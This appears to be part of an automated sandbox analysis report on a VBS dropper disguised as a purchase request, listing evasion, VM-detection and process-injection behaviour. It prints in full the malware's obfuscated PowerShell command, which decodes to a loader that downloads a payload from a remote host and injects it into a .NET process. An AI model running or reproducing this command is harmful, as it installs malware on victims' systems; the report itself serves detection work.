Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD342C78E1 push edi; iretd	4_2_00007FFD342C78E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD342C7B66 push ebp; iretd	4_2_00007FFD342C7B68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0042C1D8 push eax; retn 0000h	5_2_0042C25E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0042C188 push ebp; retn 0000h	5_2_0042C18A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0042C270 push edx; retn 0000h	5_2_0042C2B2

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1537	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2023	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3324	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6491	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

API coverage: 2.7 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6088	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3160	Thread sleep count: 3324 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3160	Thread sleep count: 6491 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2732	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.2275395729.0000017BD8182000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2274993999.0000017BD8179000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2275226728.0000017BD8182000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2277688287.0000017BD6296000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2274110551.0000017BD8161000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2277401194.0000017BD8182000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2274511242.0000017BD8177000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iZpHNiRsoeGiBaKQemuKuqKGPiWhfWUUdmiibOxWLmxxebrWUddcqGiZxiNjKWpnBWPG
Source: wscript.exe, 00000000.00000003.2277701458.0000017BD83B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\+
Source: powershell.exe, 00000004.00000002.2442426317.0000022C199CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWeP
Source: wscript.exe, 00000000.00000003.2275395729.0000017BD8182000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2274993999.0000017BD8179000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2275226728.0000017BD8182000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2277511112.0000017BD629F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2274110551.0000017BD8161000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2277401194.0000017BD8182000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2274511242.0000017BD8177000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2277781737.0000017BD8301000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2277911140.0000017BD8401000.00000004.00000020.00020000.00000000.sdmp, RFQ-5120240930 VENETA PESCA SRL.vbs	Binary or memory string: WzPWlHAWfHzsBiiNWJLeqogNiWhCRlGLCldIOidkWLGxcekeAIaaILWCBOhihGOluWdd = "iZpHNiRsoeGiBaKQemuKuqKGPiWhfWUUdmiibOxWLmxxebrWUddcqGiZxiNjKWpnBWPG"
Source: wscript.exe, 00000000.00000003.2274975625.0000017BD8004000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DiZpHNiRsoeGiBaKQemuKuqKGPiWhfWUUdmiibOxWLmxxebrWUddcqGiZxiNjKWpnBWPGciSpix

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match

File source: amsi64_4256.amsi.csv, type: OTHER

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 42C000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 42E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 42F000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 910008	Jump to behavior

